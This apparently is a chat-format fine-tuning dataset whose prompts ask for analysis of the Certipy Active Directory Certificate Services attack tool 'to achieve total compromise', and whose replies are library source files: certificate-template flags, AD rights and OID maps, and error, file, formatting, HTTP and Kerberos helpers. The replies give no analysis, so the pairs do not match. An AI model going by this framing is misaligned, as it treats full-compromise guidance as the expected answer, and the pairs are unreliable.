)\n INCLUDE_BASIC_CONSTRAINTS_FOR_EE_CERTS = (\n 0x00008000 # Include Basic Constraints for end-entity certs\n )\n ISSUANCE_POLICIES_FROM_REQUEST = 0x00020000 # Obtain issuance policies from request\n NO_SECURITY_EXTENSION = 0x00080000 # Don't include security extension\n\n\n# Private key flags\n# Source: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-crtd/f6122d87-b999-4b92-bff8-f465e8949667\nclass PrivateKeyFlag(IntFlag):\n \"\"\"\n Flags controlling certificate private key behavior.\n\n These flags define the handling, storage, and restrictions of private keys\n associated with certificates issued from a template.\n\n Reference: MS-CRTD 2.27 msPKI-Private-Key-Flag Attribute\n \"\"\"\n\n # Default value\n NONE = 0x00000000 # No special private key handling\n\n # Key archival and export settings\n REQUIRE_PRIVATE_KEY_ARCHIVAL = 0x00000001 # Require private key archival to KRA\n EXPORTABLE_KEY = 0x00000010 # Private key can be exported\n STRONG_KEY_PROTECTION_REQUIRED = (\n 0x00000020 # Require strong key protection (password)\n )\n\n # Key algorithm settings\n REQUIRE_ALTERNATE_SIGNATURE_ALGORITHM = (\n 0x00000040 # Require alternate signature algorithm\n )\n REQUIRE_SAME_KEY_RENEWAL = 0x00000080 # Require same key for renewal\n USE_LEGACY_PROVIDER = 0x00000100 # Use legacy cryptographic provider\n\n # Key attestation levels\n ATTEST_NONE = 0x00000000 # No attestation required\n ATTEST_PREFERRED = 0x00001000 # Attestation preferred but not required\n ATTEST_REQUIRED = 0x00002000 # Attestation required\n ATTESTATION_WITHOUT_POLICY = 0x00004000 # Attestation without specific policy\n\n # Endorsement key options\n EK_TRUST_ON_USE = 0x00000200 # Trust endorsement key on first use\n EK_VALIDATE_CERT = 0x00000400 # Validate endorsement key certificate\n EK_VALIDATE_KEY = 0x00000800 # Validate endorsement key itself\n\n # Special key types\n HELLO_LOGON_KEY = 0x00200000 # Key for Hello logon/Windows Hello\n\n\n# Certificate name flags\n# Source: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-crtd/1192823c-d839-4bc3-9b6b-fa8c53507ae1\nclass CertificateNameFlag(IntFlag):\n \"\"\"\n Flags controlling certificate subject name creation and validation.\n\n These flags define how subject names and subject alternative names (SANs) are created,\n what information is included in certificates, and what naming constraints are enforced\n during certificate enrollment.\n\n Reference: MS-CRTD 2.28 msPKI-Certificate-Name-Flag Attribute\n \"\"\"\n\n # Base value\n NONE = 0x00000000 # No special naming behavior\n\n # Subject name source options\n ENROLLEE_SUPPLIES_SUBJECT = 0x00000001 # Enrollee can specify subject name\n OLD_CERT_SUPPLIES_SUBJECT_AND_ALT_NAME = (\n 0x00000008 # Use subject from previous cert during renewal\n )\n\n # Subject content inclusion options\n ADD_EMAIL = 0x00000002 # Include email address in subject name\n ADD_OBJ_GUID = 0x00000004 # Include Active Directory object GUID in SAN\n ADD_DIRECTORY_PATH = 0x00000100 # Include directory path (DN) in subject name\n\n # Subject alternative name options\n ENROLLEE_SUPPLIES_SUBJECT_ALT_NAME = (\n 0x00010000 # Enrollee can specify subject alternative names\n )\n\n # Subject alternative name requirements\n SUBJECT_ALT_REQUIRE_DOMAIN_DNS = 0x00400000 # Require domain DNS name in SAN\n SUBJECT_ALT_REQUIRE_SPN = 0x00800000 # Require Service Principal Name in SAN\n SUBJECT_ALT_REQUIRE_DIRECTORY_GUID = 0x01000000 # Require directory GUID in SAN\n SUBJECT_ALT_REQUIRE_UPN = 0x02000000 # Require User Principal Name in SAN\n SUBJECT_ALT_REQUIRE_EMAIL = 0x04000000 # Require email address in SAN\n SUBJECT_ALT_REQUIRE_DNS = 0x08000000 # Require DNS name in SAN\n\n # Subject name requirements\n SUBJECT_REQUIRE_DNS_AS_CN = 0x10000000 # Require DNS name as common name (CN)\n SUBJECT_REQUIRE_EMAIL = 0x20000000 # Require email in subject name\n SUBJECT_REQUIRE_COMMON_NAME = 0x40000000 # Require common name (CN) in subject\n SUBJECT_REQUIRE_DIRECTORY_PATH = 0x80000000 # Require directory path in subject\n\n\n# =========================================================================\n# Access Control and Rights\n# =========================================================================\n\n\n# Access control types\n# Source: https://docs.microsoft.com/en-us/dotnet/api/system.security.accesscontrol.accesscontroltype?view=net-5.0\nclass AccessControlType(IntFlag):\n \"\"\"Access control types for access control entries.\"\"\"\n\n ALLOW = 0\n DENY = 1\n\n\n# Active Directory rights\n# Source: https://docs.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryrights?view=net-5.0\nclass ActiveDirectoryRights(IntFlag):\n \"\"\"Rights applicable to Active Directory objects.\"\"\"\n\n # Object-level rights\n CREATE_CHILD = 1\n DELETE_CHILD = 2\n LIST_CHILDREN = 4\n SELF = 8\n READ_PROPERTY = 16\n WRITE_PROPERTY = 32\n DELETE_TREE = 64\n LIST_OBJECT = 128\n EXTENDED_RIGHT = 256\n\n # Standard rights\n DELETE = 65536\n READ_CONTROL = 131072\n WRITE_DACL = 262144\n WRITE_OWNER = 524288\n SYNCHRONIZE = 1048576\n ACCESS_SYSTEM_SECURITY = 16777216\n\n # Generic rights\n GENERIC_READ = 131220\n GENERIC_WRITE = 131112\n GENERIC_EXECUTE = 131076\n GENERIC_ALL = 983551\n\n\n# Certificate rights\nclass CertificateRights(IntFlag):\n \"\"\"Rights applicable to certificate templates and related objects.\"\"\"\n\n WRITE_PROPERTY = 32\n EXTENDED_RIGHT = 256\n WRITE_DACL = 262144\n WRITE_OWNER = 524288\n GENERIC_WRITE = 131112\n GENERIC_ALL = 983551\n\n\n# Certificate issuance policy rights\nclass IssuancePolicyRights(IntFlag):\n \"\"\"Rights applicable to certificate issuance policies.\"\"\"\n\n WRITE_PROPERTY = 32\n WRITE_DACL = 262144\n WRITE_OWNER = 524288\n GENERIC_READ = 131220\n GENERIC_ALL = 983551\n\n\n# Certificate authority rights\n# Source: https://github.com/GhostPack/Certify/blob/2b1530309c0c5eaf41b2505dfd5a68c83403d031/Certify/Domain/CertificateAuthority.cs#L11\nclass CertificateAuthorityRights(IntFlag):\n \"\"\"Rights applicable to certification authorities.\"\"\"\n\n MANAGE_CA = 1\n MANAGE_CERTIFICATES = 2\n AUDITOR = 4\n OPERATOR = 8\n READ = 256\n ENROLL = 512\n\n\n# =========================================================================\n# Object Identifier (OID) Mappings\n# =========================================================================\n\n# OID mappings to human-readable names\n# Source: https://www.pkisolutions.com/object-identifiers-oid-in-pki/\nOID_TO_STR_MAP = {\n # Windows system and infrastructure\n \"1.3.6.1.4.1.311.76.6.1\": \"Windows Update\",\n \"1.3.6.1.4.1.311.10.3.11\": \"Key Recovery\",\n \"1.3.6.1.4.1.311.10.3.25\": \"Windows Third Party Application Component\",\n \"1.3.6.1.4.1.311.21.6\": \"Key Recovery Agent\",\n \"1.3.6.1.4.1.311.10.3.6\": \"Windows System Component Verification\",\n \"1.3.6.1.4.1.311.61.4.1\": \"Early Launch Antimalware Drive\",\n \"1.3.6.1.4.1.311.10.3.23\": \"Windows TCB Component\",\n \"1.3.6.1.4.1.311.61.1.1\": \"Kernel Mode Code Signing\",\n \"1.3.6.1.4.1.311.10.3.26\": \"Windows Software Extension Verification\",\n \"1.3.6.1.4.1.311.76.3.1\": \"Windows Store\",\n \"1.3.6.1.4.1.311.10.6.1\": \"Key Pack Licenses\",\n \"1.3.6.1.4.1.311.20.2.2\": \"Smart Card Logon\",\n \"1.3.6.1.4.1.311.10.3.8\": \"Embedded Windows System Component Verification\",\n \"1.3.6.1.4.1.311.10.3.20\": \"Windows Kits Component\",\n \"1.3.6.1.4.1.311.10.3.5\": \"Windows Hardware Driver Verification\",\n \"1.3.6.1.4.1.311.10.3.39\": \"Windows Hardware Driver Extended Verification\",\n \"1.3.6.1.4.1.311.10.6.2\": \"License Server Verification\",\n \"1.3.6.1.4.1.311.10.3.5.1\": \"Windows Hardware Driver Attested Verification\",\n \"1.3.6.1.4.1.311.76.5.1\": \"Dynamic Code Generator\",\n \"1.3.6.1.4.1.311.10.3.4.1\": \"File Recovery\",\n \"1.3.6.1.4.1.311.2.6.1\": \"SpcRelaxedPEMarkerCheck\",\n \"1.3.6.1.4.1.311.2.6.2\": \"SpcEncryptedDigestRetryCount\",\n \"1.3.6.1.4.1.311.10.3.4\": \"Encrypting File System\",\n \"1.3.6.1.4.1.311.61.5.1\": \"HAL Extension\",\n \"1.3.6.1.4.1.311.10.3.9\": \"Root List Signer\",\n \"1.3.6.1.4.1.311.10.3.30\": \"Disallowed List\",\n \"1.3.6.1.4.1.311.10.3.19\": \"Revoked List Signer\",\n \"1.3.6.1.4.1.311.10.3.21\": \"Windows RT Verification\",\n \"1.3.6.1.4.1.311.10.3.10\": \"Qualified Subordination\",\n \"1.3.6.1.4.1.311.10.3.12\": \"Document Signing\",\n \"1.3.6.1.4.1.311.10.3.24\": \"Protected Process Verification\",\n \"1.3.6.1.4.1.311.80.1\": \"Document Encryption\",\n \"1.3.6.1.4.1.311.10.3.22\": \"Protected Process Light Verification\",\n \"1.3.6.1.4.1.311.21.19\": \"Directory Service Email Replication\",\n \"1.3.6.1.4.1.311.21.5\": \"Private Key Archival\",\n \"1.3.6.1.4.1.311.10.5.1\": \"Digital Rights\",\n \"1.3.6.1.4.1.311.10.3.27\": \"Preview Build Signing\",\n \"1.3.6.1.4.1.311.20.2.1\": \"Certificate Request Agent\",\n \"1.3.6.1.4.1.311.20.1\": \"CTL Usage\",\n \"1.3.6.1.4.1.311.10.3.1\": \"Microsoft Trust List Signing\",\n \"1.3.6.1.4.1.311.10.3.2\": \"Microsoft Time Stamping\",\n \"1.3.6.1.4.1.311.76.8.1\": \"Microsoft Publisher\",\n # Standard certificate usages\n \"1.3.6.1.5.5.7.3.1\": \"Server Authentication\",\n \"1.3.6.1.5.5.7.3.2\": \"Client Authentication\",\n \"1.3.6.1.4.1.311.54.1.2\": \"Remote Desktop Authentication\",\n \"1.3.6.1.5.5.7.3.3\": \"Code Signing\",\n \"1.3.6.1.5.5.7.3.4\": \"Secure Email\",\n \"1.3.6.1.5.5.7.3.5\": \"IP security end system\",\n \"1.3.6.1.5.5.7.3.6\": \"IP security tunnel termination\",\n \"1.3.6.1.5.5.7.3.7\": \"IP security use\",\n \"1.3.6.1.5.5.7.3.8\": \"Time Stamping\",\n \"1.3.6.1.5.5.7.3.9\": \"OCSP Signing\",\n \"1.3.6.1.5.5.8.2.2\": \"IP security IKE intermediate\",\n # Attestation and Platform Trust\n \"2.23.133.8.1\": \"Endorsement Key Certificate\",\n \"2.23.133.8.2\": \"Platform Certificate\",\n \"2.23.133.8.3\": \"Attestation Identity Key Certificate\",\n # Kerberos\n \"1.3.6.1.5.2.3.4\": \"PKINIT Client Authentication\",\n \"1.3.6.1.5.2.3.5\": \"KDC Authentication\",\n # Special purpose\n \"1.3.6.1.4.1.311.10.3.13\": \"Lifetime Signing\",\n \"2.5.29.37.0\": \"Any Purpose\",\n \"1.3.6.1.4.1.311.64.1.1\": \"Server Trust\",\n}\n\nOID_TO_STR_NAME_MAP = {v.lower(): k for k, v in OID_TO_STR_MAP.items()}\n\n\n# =========================================================================\n# Extended Rights Mapping\n# =========================================================================\n\n# Extended rights mapping from UUID to name\n# Retrieved from Windows 2022 server via LDAP (CN=Extended-Rights,CN=Configuration,DC=...)\nEXTENDED_RIGHTS_MAP = {\n # Domain administration\n \"ab721a52-1e2f-11d0-9819-00aa0040529b\": \"Domain-Administer-Server\",\n \"e48d0154-bcf8-11d1-8702-00c04fb96050\": \"Public-Information\",\n \"4c164200-20c0-11d0-a768-00aa006e0529\": \"User-Account-Restrictions\",\n \"59ba2f42-79a2-11d0-9020-00c04fc2d3cf\": \"General-Information\",\n \"77b5b886-944a-11d1-aebd-0000f80367c1\": \"Personal-Information\",\n \"e45795b2-9455-11d1-aebd-0000f80367c1\": \"Email-Information\",\n \"e45795b3-9455-11d1-aebd-0000f80367c1\": \"Web-Information\",\n \"91e647de-d96f-4b70-9557-d63ff4f3ccd8\": \"Private-Information\",\n \"037088f8-0ae1-11d2-b422-00a0c968f939\": \"RAS-Information\",\n # Password and authentication rights\n \"ab721a53-1e2f-11d0-9819-00aa0040529b\": \"User-Change-Password\",\n \"00299570-246d-11d0-a768-00aa006e0529\": \"User-Force-Change-Password\",\n \"c7407360-20bf-11d0-a768-00aa006e0529\": \"Domain-Password\",\n \"ccc2dc7d-a6ad-4a7a-8846-c04e3cc53501\": \"Unexpire-Password\",\n \"280f369c-67c7-438e-ae98-1d46f3c6f541\": \"Update-Password-Not-Required-Bit\",\n \"05c74c5e-4deb-43b4-bd9f-86664c2a7fd5\": \"Enable-Per-User-Reversibly-Encrypted-Password\",\n # Replication and directory service rights\n \"1131f6aa-9c07-11d1-f79f-00c04fc2dcd2\": \"DS-Replication-Get-Changes\",\n \"1131f6ab-9c07-11d1-f79f-00c04fc2dcd2\": \"DS-Replication-Synchronize\",\n \"1131f6ac-9c07-11d1-f79f-00c04fc2dcd2\": \"DS-Replication-Manage-Topology\",\n \"1131f6ad-9c07-11d1-f79f-00c04fc2dcd2\": \"DS-Replication-Get-Changes-All\",\n \"89e95b76-444d-4c62-991a-0facbeda640c\": \"DS-Replication-Get-Changes-In-Filtered-Set\",\n \"1131f6ae-9c07-11d1-f79f-00c04fc2dcd2\": \"Read-Only-Replication-Secret-Synchronization\",\n \"9923a32a-3607-11d2-b9be-0000f87a36b2\": \"DS-Install-Replica\",\n \"f98340fb-7c5b-4cdb-a00b-2ebdfa115a96\": \"DS-Replication-Monitor-Topology\",\n \"4125c71f-7fac-4ff0-bcb7-f09a41325286\": \"DS-Set-Owner\",\n \"084c93a2-620d-4879-a836-f0ae47de0e89\": \"DS-Read-Partition-Secrets\",\n \"94825a8d-b171-4116-8146-1e34d8f54401\": \"DS-Write-Partition-Secrets\",\n \"4ecc03fe-ffc0-4947-b630-eb672a8a9dbc\": \"DS-Query-Self-Quota\",\n \"88a9933e-e5c8-4f2a-9dd7-2527416b8092\": \"DS-Bypass-Quota\",\n \"9b026da6-0d3c-465c-8bee-5199d7165cba\": \"DS-Validated-Write-Computer\",\n # Infrastructure roles and operations\n \"e12b56b6-0a95-11d1-adbb-00c04fd8d5cd\": \"Change-Schema-Master\",\n \"d58d5f36-0a98-11d1-adbb-00c04fd8d5cd\": \"Change-Rid-Master\",\n \"fec364e0-0a98-11d1-adbb-00c04fd8d5cd\": \"Do-Garbage-Collection\",\n \"0bc1554e-0a99-11d1-adbb-00c04fd8d5cd\": \"Recalculate-Hierarchy\",\n \"1abd7cf8-0a99-11d1-adbb-00c04fd8d5cd\": \"Allocate-Rids\",\n \"bae50096-4752-11d1-9052-00c04fc2d4cf\": \"Change-PDC\",\n \"014bf69c-7b3b-11d1-85f6-08002be74fab\": \"Change-Domain-Master\",\n \"cc17b1fb-33d9-11d2-97d4-00c04fd8d5cd\": \"Change-Infrastructure-Master\",\n \"be2bb760-7f46-11d2-b9ad-00c04f79f805\": \"Update-Schema-Cache\",\n \"62dd28a8-7f46-11d2-b9ad-00c04f79f805\": \"Recalculate-Security-Inheritance\",\n \"69ae6200-7f46-11d2-b9ad-00c04f79f805\": \"DS-Check-Stale-Phantoms\",\n \"440820ad-65b4-11d1-a3da-0000f875ae0d\": \"Add-GUID\",\n \"2f16c4a5-b98e-432c-952a-cb388ba33f2e\": \"DS-Execute-Intentions-Script\",\n # Email and messaging related\n \"ab721a54-1e2f-11d0-9819-00aa0040529b\": \"Send-As\",\n \"ab721a56-1e2f-11d0-9819-00aa0040529b\": \"Receive-As\",\n \"ab721a55-1e2f-11d0-9819-00aa0040529b\": \"Send-To\",\n \"4b6e08c0-df3c-11d1-9c86-006008764d0e\": \"msmq-Receive-Dead-Letter\",\n \"4b6e08c1-df3c-11d1-9c86-006008764d0e\": \"msmq-Peek-Dead-Letter\",\n \"4b6e08c2-df3c-11d1-9c86-006008764d0e\": \"msmq-Receive-computer-Journal\",\n \"4b6e08c3-df3c-11d1-9c86-006008764d0e\": \"msmq-Peek-computer-Journal\",\n \"06bd3200-df3e-11d1-9c86-006008764d0e\": \"msmq-Receive\",\n \"06bd3201-df3e-11d1-9c86-006008764d0e\": \"msmq-Peek\",\n \"06bd3202-df3e-11d1-9c86-006008764d0e\": \"msmq-Send\",\n \"06bd3203-df3e-11d1-9c86-006008764d0e\": \"msmq-Receive-journal\",\n \"b4e60130-df3f-11d1-9c86-006008764d0e\": \"msmq-Open-Connector\",\n # Authentication and access\n \"5f202010-79a5-11d0-9020-00c04fc2d4cf\": \"User-Logon\",\n \"bc0ac240-79a9-11d0-9020-00c04fc2d4cf\": \"Membership\",\n \"a1990816-4298-11d1-ade2-00c04fd8d5cd\": \"Open-Address-Book\",\n \"bf9679c0-0de6-11d0-a285-00aa003049e2\": \"Self-Membership\",\n \"72e39547-7b18-11d1-adef-00c04fd8d5cd\": \"DNS-Host-Name-Attributes\",\n \"f3a64788-5306-11d1-a9c5-0000f80367c1\": \"Validated-SPN\",\n \"ba33815a-4f93-4c76-87f3-57574bff8109\": \"Migrate-SID-History\",\n \"45ec5156-db7e-47bb-b53f-dbeb2d03c40f\": \"Reanimate-Tombstones\",\n \"68b1d179-0d15-4d4f-ab71-46152e79a7bc\": \"Allowed-To-Authenticate\",\n \"91d67418-0135-4acc-8d79-c08e857cfbec\": \"SAM-Enumerate-Entire-Domain\",\n \"d31a8757-2447-4545-8081-3bb610cacbf2\": \"Validated-MS-DS-Behavior-Version\",\n \"80863791-dbe9-4eb8-837e-7f0ab55d9ac7\": \"Validated-MS-DS-Additional-DNS-Host-Name\",\n \"3e0f7e18-2c7a-4c10-ba82-4d926db99a3e\": \"DS-Clone-Domain-Controller\",\n # Policy and system management\n \"edacfd8f-ffb3-11d1-b41d-00a0c968f939\": \"Apply-Group-Policy\",\n \"b7b1b3dd-ab09-4242-9e30-9980e5d322f7\": \"Generate-RSoP-Planning\",\n \"b7b1b3de-ab09-4242-9e30-9980e5d322f7\": \"Generate-RSoP-Logging\",\n \"9432c620-033c-4db7-8b58-14ef6d0bf477\": \"Refresh-Group-Cache\",\n \"b8119fd0-04f6-4762-ab7a-4986c76b3f9a\": \"Domain-Other-Parameters\",\n \"e2a36dc9-ae17-47c3-b58b-be34c55ba633\": \"Create-Inbound-Forest-Trust\",\n \"7726b9d5-a4b4-4288-a6b2-dce952e80a7f\": \"Run-Protect-Admin-Groups-Task\",\n \"7c0e2a7c-a419-48e4-a995-10180aad54dd\": \"Manage-Optional-Features\",\n # Certificate and cryptography\n \"0e10c968-78fb-11d2-90d4-00c04f79dc55\": \"Enroll\",\n \"a05b8cc2-17bc-4802-a710-e7c15ab866a2\": \"AutoEnroll\",\n \"1a60ea8d-58a6-4b20-bcdc-fb71eb8a9ff8\": \"Reload-SSL-Certificate\",\n \"5805bc62-bdc9-4428-a5e2-856a0f4c185e\": \"Terminal-Server-License-Server\",\n \"ffa6f046-ca4b-4feb-b40d-04dfee722543\": \"MS-TS-GatewayAccess\",\n # Special rights\n \"00000000-0000-0000-0000-000000000000\": \"All-Extended-Rights\",\n}\n\n# Create reverse mapping from name to UUID for lookup by name\nEXTENDED_RIGHTS_NAME_MAP = {v: k for k, v in EXTENDED_RIGHTS_MAP.items()}\n\n<|im_end|>"} {"text": "<|im_start|>user\nAnalyze this elite tool/exploit from 'CERTIPY'. Explain the high-level attack vector (e.g., Kerberos manipulation, Kernel exploitation). Describe how to use this in a Red Team operation to achieve total compromise.\nFile: certipy/lib/errors.py\n<|im_end|>\n<|im_start|>assistant\nREPO: CERTIPY\nCODE:\n\"\"\"\nError code translation utilities for Certipy.\n\nThis module provides functions for translating numeric error codes from Windows APIs\nand Kerberos services into human-readable messages. It acts as a wrapper around\nthe error code mappings provided by the impacket library.\n\nFunctions:\n translate_error_code: Convert a Windows error code to a readable message\n\"\"\"\n\nimport traceback\nfrom typing import Dict, Tuple\n\nfrom impacket import hresult_errors\nfrom impacket.krb5.kerberosv5 import constants as krb5_constants\n\nfrom certipy.lib.logger import is_verbose, logging\n\n# Import Kerberos error message dictionary for easier access\nKRB5_ERROR_MESSAGES: Dict[int, Tuple[str, str]] = krb5_constants.ERROR_MESSAGES\n\n\ndef translate_error_code(error_code: int) -> str:\n \"\"\"\n Translate a Windows API error code to a human-readable string.\n\n Args:\n error_code: Windows API error code (HRESULT)\n\n Returns:\n Formatted error message with code, short description, and detailed explanation\n\n Example:\n >>> translate_error_code(0x80090311)\n 'code: 0x80090311 - SEC_E_LOGON_DENIED - The token supplied to the function is invalid'\n \"\"\"\n # Mask to 32 bits to handle sign extension issues\n masked_code = error_code & 0xFFFFFFFF\n\n # Look up in the impacket error dictionary\n if masked_code in hresult_errors.ERROR_MESSAGES:\n error_tuple: Tuple[str, str] = hresult_errors.ERROR_MESSAGES[masked_code]\n error_short, error_detail = error_tuple\n\n # Format the message with all information\n return f\"code: 0x{masked_code:x} - {error_short} - {error_detail}\"\n else:\n # Handle unknown error codes\n return f\"unknown error code: 0x{masked_code:x}\"\n\n\ndef handle_error(is_warning: bool = False) -> None:\n \"\"\"\n Handle errors by printing the error message and exiting the program.\n\n This function is a placeholder for error handling logic. It can be extended\n to include logging, user notifications, or other actions as needed.\n \"\"\"\n if is_verbose():\n # Print the full traceback for debugging\n traceback.print_exc()\n else:\n msg = \"Use -debug to print a stacktrace\"\n if is_warning:\n logging.warning(msg)\n else:\n logging.error(msg)\n\n<|im_end|>"} {"text": "<|im_start|>user\nAnalyze this elite tool/exploit from 'CERTIPY'. Explain the high-level attack vector (e.g., Kerberos manipulation, Kernel exploitation). Describe how to use this in a Red Team operation to achieve total compromise.\nFile: certipy/lib/files.py\n<|im_end|>\n<|im_start|>assistant\nREPO: CERTIPY\nCODE:\n\"\"\"\nFile handling utilities for Certipy.\n\nThis module provides functions for safely writing data to files\nwith appropriate fallback mechanisms.\n\"\"\"\n\nimport base64\nimport os\nimport uuid\nfrom typing import Union\n\nfrom certipy.lib.errors import handle_error\nfrom certipy.lib.logger import logging\n\n\ndef try_to_save_file(\n data: Union[bytes, str], output_path: str, abort_on_fail: bool = False\n) -> str:\n \"\"\"\n Try to write data to a file or stdout if file writing fails.\n\n This function attempts to save data to the specified path. If writing fails,\n it outputs to stdout instead. If the file already exists, the user is\n prompted to confirm overwriting.\n\n Args:\n data: Data to write (either binary bytes or text string)\n output_path: Path to output file\n abort_on_fail: If True, abort the operation on failure\n \"\"\"\n logging.debug(f\"Attempting to write data to {output_path!r}\")\n\n # Clean up the output path\n output_path = output_path.replace(\"\\\\\", \"_\").replace(\"/\", \"_\").replace(\":\", \"_\")\n\n # Handle file existence check and overwrite confirmation\n output_path = _handle_file_exists(output_path)\n\n # Write to file with appropriate mode\n try:\n mode = \"wb\" if isinstance(data, bytes) else \"w\"\n with open(output_path, mode) as f:\n f.write(data)\n logging.debug(f\"Data written to {output_path!r}\")\n return output_path\n except Exception as e:\n if abort_on_fail:\n logging.error(f\"Error writing output file: {e}\")\n raise\n logging.error(f\"Error writing output file: {e}. Dumping to stdout instead\")\n handle_error()\n _write_to_stdout(data)\n return \"stdout\"\n\n\ndef _handle_file_exists(path: str) -> str:\n \"\"\"\n Handle the case where a file already exists.\n\n Prompts the user to confirm overwriting or generates a new unique filename.\n If the user chooses not to overwrite, a UUID is appended to create a unique name.\n\n Args:\n path: Original file path\n\n Returns:\n Final path to use (either original or new unique path)\n \"\"\"\n if os.path.exists(path):\n overwrite = input(\n f\"File {path!r} already exists. Overwrite? (y/n - saying no will save with a unique filename): \"\n )\n if overwrite.strip().lower() != \"y\":\n # Generate a unique filename\n base, ext = os.path.splitext(path)\n new_path = f\"{base}_{uuid.uuid4()}{ext}\"\n logging.debug(f\"Using alternative filename: {new_path!r}\")\n return new_path\n return path\n\n\ndef _write_to_stdout(data: Union[bytes, str]) -> None:\n \"\"\"\n Write data to stdout, encoding binary data as base64 if needed.\n\n Args:\n data: Data to output (binary data will be base64 encoded)\n \"\"\"\n if isinstance(data, bytes):\n print(base64.b64encode(data).decode())\n else:\n print(data)\n\n<|im_end|>"} {"text": "<|im_start|>user\nAnalyze this elite tool/exploit from 'CERTIPY'. Explain the high-level attack vector (e.g., Kerberos manipulation, Kernel exploitation). Describe how to use this in a Red Team operation to achieve total compromise.\nFile: certipy/lib/formatting.py\n<|im_end|>\n<|im_start|>assistant\nREPO: CERTIPY\nCODE:\n\"\"\"\nFormatting utilities for Certipy.\n\nThis module provides functions for formatting data into human-readable formats,\nincluding pretty printing dictionaries, and case conversion.\n\"\"\"\n\nimport datetime\nfrom typing import Any, Callable, Dict\n\n# Type aliases for better readability\nPrintFunc = Callable[..., Any]\nJsonLike = Dict[str, Any]\n\n\ndef to_pascal_case(snake_str: str) -> str:\n \"\"\"\n Convert a snake_case string to PascalCase.\n\n Args:\n snake_str: String in snake_case format\n\n Returns:\n String converted to PascalCase\n\n Example:\n >>> to_pascal_case(\"hello_world\")\n \"HelloWorld\"\n \"\"\"\n components = snake_str.split(\"_\")\n return \"\".join(x.title() for x in components)\n\n\nREMAP = {\n \"http\": \"HTTP\",\n \"https\": \"HTTPS\",\n \"enabled\": \"Enabled\",\n \"channel_binding\": \"Channel Binding (EPA)\",\n}\n\n\ndef pretty_print(\n data: JsonLike, indent: int = 0, padding: int = 40, print_func: PrintFunc = print\n) -> None:\n \"\"\"\n Pretty print a dictionary with customizable indentation and padding.\n\n Handles nested dictionaries, lists, and various data types with appropriate formatting.\n\n Args:\n data: Dictionary to print\n indent: Initial indentation level\n padding: Left padding for values\n print_func: Function to use for printing (default: built-in print)\n\n Raises:\n TypeError: If input is not a dictionary or contains unsupported types\n \"\"\"\n indent_str = \" \" * indent\n\n for key, value in data.items():\n if key in REMAP:\n # Remap keys if needed\n key = REMAP[key]\n\n key_str = f\"{indent_str}{key}\"\n padded_key = key_str.ljust(padding, \" \")\n\n if isinstance(value, (str, int, float, bool)):\n # Simple scalar types\n print_func(f\"{padded_key}: {value}\")\n\n elif isinstance(value, datetime.datetime):\n # Format datetime as ISO format\n print_func(f\"{padded_key}: {value.isoformat()}\")\n\n elif isinstance(value, dict):\n # Handle nested dictionaries\n print_func(f\"{key_str}\")\n pretty_print(\n value, indent=indent + 1, padding=padding, print_func=print_func\n )\n\n elif isinstance(value, list):\n if len(value) > 0 and isinstance(value[0], dict):\n # List of dictionaries\n print_func(f\"{key_str}\")\n for item in value:\n if isinstance(item, dict):\n pretty_print(\n item,\n indent=indent + 1,\n padding=padding,\n print_func=print_func,\n )\n else:\n print_func(f\"{indent_str} {item}\")\n else:\n # Format list with line breaks if needed\n formatted_list = (\"\\n\" + \" \" * padding + \" \").join(\n str(x) for x in value\n )\n print_func(f\"{padded_key}: {formatted_list}\")\n\n elif isinstance(value, tuple):\n # Handle tuples (similar to lists of dictionaries)\n print_func(f\"{key_str}\")\n for item in value:\n if isinstance(item, dict):\n pretty_print(\n item, indent=indent + 1, padding=padding, print_func=print_func\n )\n else:\n print_func(f\"{indent_str} {item}\")\n\n elif value is None:\n # Skip None values\n continue\n\n else:\n # Unsupported type\n raise TypeError(\n f\"Unsupported type for pretty printing: {type(value).__name__}\"\n )\n\n<|im_end|>"} {"text": "<|im_start|>user\nAnalyze this elite tool/exploit from 'CERTIPY'. Explain the high-level attack vector (e.g., Kerberos manipulation, Kernel exploitation). Describe how to use this in a Red Team operation to achieve total compromise.\nFile: certipy/lib/http.py\n<|im_end|>\n<|im_start|>assistant\nREPO: CERTIPY\nCODE:\nfrom typing import Literal\n\n\ndef get_authentication_method(\n authenticate_header: str,\n) -> Literal[\"NTLM\", \"Negotiate\"]:\n \"\"\"\n Get the authentication method from the WWW-Authenticate header.\n\n Args:\n authenticate_header: The WWW-Authenticate header value\n\n Returns:\n The authentication method (e.g., \"NTLM\", \"Negotiate\")\n \"\"\"\n authenticate_header = authenticate_header.lower()\n if \"ntlm\" in authenticate_header:\n return \"NTLM\"\n elif \"negotiate\" in authenticate_header:\n return \"Negotiate\"\n else:\n raise ValueError(f\"Unsupported authentication method: {authenticate_header}\")\n\n<|im_end|>"} {"text": "<|im_start|>user\nAnalyze this elite tool/exploit from 'CERTIPY'. Explain the high-level attack vector (e.g., Kerberos manipulation, Kernel exploitation). Describe how to use this in a Red Team operation to achieve total compromise.\nFile: certipy/lib/kerberos.py\n<|im_end|>\n<|im_start|>assistant\nREPO: CERTIPY\nCODE:\n\"\"\"\nKerberos authentication module for Certipy.\n\nThis module provides functionality for Kerberos-based authentication and ticket management,\nsupporting both credential-based and ticket-based operations against Windows services.\n\nKey features:\n- TGT (Ticket Granting Ticket) acquisition and caching\n- TGS (Ticket Granting Service) ticket acquisition and caching\n- Kerberos authentication for HTTP requests\n- Support for channel binding with EPA (Extended Protection for Authentication)\n- Encryption and decryption using various Kerberos ciphers\n\"\"\"\n\nimport base64\nimport datetime\nimport os\nimport random\nimport string\nimport struct\nfrom typing import Any, Dict, Generator, Optional, Tuple, cast\n\nimport httpx\nfrom Cryptodome.Cipher import ARC4\nfrom Cryptodome.Hash import HMAC, MD5\nfrom impacket.krb5 import constants\nfrom impacket.krb5.asn1 import AP_REQ, TGS_REP, Authenticator, seq_set\nfrom impacket.krb5.ccache import CCache\nfrom impacket.krb5.crypto import Key\nfrom impacket.krb5.gssapi import (\n GSS_C_CONF_FLAG,\n GSS_C_INTEG_FLAG,\n GSS_C_REPLAY_FLAG,\n GSS_C_SEQUENCE_FLAG,\n GSS_HMAC,\n GSS_RC4,\n)\nfrom impacket.krb5.gssapi import GSSAPI as create_kerberos_cipher # noqa: N811\nfrom impacket.krb5.gssapi import (\n GSSAPI_RC4,\n KG_USAGE_ACCEPTOR_SEAL,\n KG_USAGE_INITIATOR_SEAL,\n CheckSumField,\n)\nfrom impacket.krb5.kerberosv5 import KerberosError, getKerberosTGS, getKerberosTGT\nfrom impacket.krb5.types import KerberosTime, Principal, 